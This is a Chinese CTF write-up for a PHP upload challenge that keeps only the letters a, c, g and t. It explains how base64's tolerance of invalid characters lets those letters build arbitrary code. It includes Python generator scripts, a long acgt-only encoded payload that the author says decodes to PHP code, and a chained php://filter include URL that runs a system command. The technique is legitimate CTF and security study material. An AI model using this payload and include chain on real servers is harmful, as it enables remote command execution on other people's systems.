这个题的解法是王一航大佬给我的启发,可以膜一膜大佬的简书,真的很6
附链接:http://www.jianshu.com/u/bf30f18c872c
题目背景
这个题目可以通过php的伪协议直接读取到源码,难点就是源码里的正则过滤。本题将初acgt
以外的所有字符全部去掉了。于是,我们无法上传正常的木马
<?php
error_reporting(0);
session_start();
if (isset($_FILES[file]) && $_FILES[file]['size'] < 65536) {
$d = "./tmp/" . md5(session_id());
@mkdir($d);
$b = "$d/" . pathinfo($_FILES[file][name], 8);
file_put_contents($b, preg_replace('/[^acgt]/is', '', file_get_contents($_FILES[file][tmp . "_name"])));
echo $b;
}
?>
思路
看到王一航大佬在博客里提及用base64来解,恍然大悟。
base64特性
base64是有容错机制的,可以尝试一下
看下图
这个图,我们首先测试了一下aaaa
作为base64编码时的源码是多少,我们可以在图中看到。
之后,我们测试了iiii
作为base64编码时源码是多少。最后我们使用aaaaaaaaaaaaaaaa
作为base64编码,发现源码和iiii
相同。
这里,base64使用的字符只有64个,除了这64个字符外,其他字符在解码时会被忽略,也就是之前所谓的容错性
那么,利用这个特性,我们结合上面的例子,只能有a
一个字符存在时,我们可以通过base64的解码,创造出i
,以此类推,当解码次数增多时,就可以通过极少的字符,拓展到64个字符,进而实现一切文字的base64编码
实现
首先,我们先利用可以使用的acgtACGT
来进行排列组合,来拓展字符,之后,反复利用,来达到目的
list_use = 'acgtACGT'
can_see = 'QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm0123456789+/='
def make_list(list_now,id):
result = ''
with open("./list_"+id+".txt","a+") as f:
for i in list_now:
for j in list_now:
for k in list_now:
for l in list_now:
sourlist = i+j+k+l
ordlist = sourlist.decode("base64")
for z in ordlist:
if z in can_see:
result += z
if len(result) == 1:
f.writelines(sourlist+"******"+result+"\n")
result = ''
这里,我贴了一个函数,编程方式采用了很简单,很粗暴的方式,将排列组合的所以内容写入文件。简单粗暴,易懂,虽然很low。。。。。。
之后,我们将文件里的内容整理一下,就是不要出现重复的拓展字符
def do_list(id):
a_list = ''
with open("./list_"+id+".txt","rb") as f:
x = f.read()
x = x.split('\n')
for i in x:
sour = i.split('******')
#print i
#print sour
mid_1 = sour[0]
mid_2 = sour[1][0]
if mid_2 not in a_list:
a_list += mid_2
with open("./list_do"+id+".txt","a+") as fb:
fb.writelines(mid_1+"******"+mid_2+"\n")
return a_list
同样简单粗暴,是不是很傻,很可爱。将整理完的文件另存
def change(id,ord_base):
result = ''
mid_1 = []
mid_2 = []
with open("./list_do"+id+".txt","rb") as f:
x = f.read()
x = x.split('\n')
for i in x:
sour = i.split('******')
#print i
#print sour
mid_1.append(sour[0])
mid_2.append(sour[1][0])
for j in ord_base:
num = mid_2.index(j)
result += mid_1[num]
return result
最后,这个就是转换的过程,就是从目标字符的base64编码,向下转换,直到只有acgt
出现
结果
我得到了这个文件:
aaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagatGgatGgCtcaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaaaAaagatGaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaaagaaaaaaaaaagGcagTGaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaagaaTaaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagattaaaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagGtcgattaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagGtcTAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagattgTaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaaaAaaaAaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagatGaaaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagGtcgCtcaaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagTaaaaaaaaaaaAaagTaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaaaAaacAaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaagGcagTGaaaaaaaaaaAaaaAaaaaaaaaaaaAaagatCaaaaaaaaaAaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaagaagatagCtcaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagattaaaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagGtcaaaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagatGgGaaaaaaaaaaaaaaaAaaagaaaaaaaaaaaAaagTaaaaaaaaaaaAaagTaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaaaAaacAaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagGtcgGaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaaagaaaaaaaaaagGcagTGaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatCaaaaaaaaaAaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaagaaTAaaaaaaaaaagatGaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagGtcaaaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagatGgGaaaaaaaaaaaaaaaAaaaAaaaaaaaaaaaAaacaaaaaaaaaaaaAaagTaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaaaAaaTaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagGtcgatTaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaaaAaacgaaaaaaaaaaaAaaaAaaaaaaaaaaaAaagTaaaaaaaaaaaAaagTaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagattaaaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaaaAaagataaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagGtccaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaagTaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaaaAaaTaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagatGgatTaaaaaaaaaaaaaAaaaAaaaaaaaaaaaAaagTaaaaaaaaaaaAaagTaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaaagaaaaaaagaaTaaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagatGgatGgCtcaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaagaagatagCtcaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaaagaaaaaaagaagatCgCtcaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaaagaaaaaaagaagattaaaa
各位可以把它base64解码4次,就得到了我们需要的东西
那么,这就完成了
解题
因为我主要去注意upload.php了,所以,没有保存其他的源码,本地复现,也就直接写个页面,include就行
那么我们将生成的文件名字设置为exp.php.txt,这点比较简单
上传上去就变成了exp.php
然后在包含的页面,我们可以这样写
url如下:
http://127.0.0.1/2017xdctf/include.php?file=php://filter/convert.base64-decode/resource=php://filter/convert.base64-decode/resource=php://filter/convert.base64-decode/resource=php://filter/convert.base64-decode/resource=./tmp/8a1b5fc5f0fe17e9ba8538a991871371/exp.php
结果:
可以看到,dir命令执行了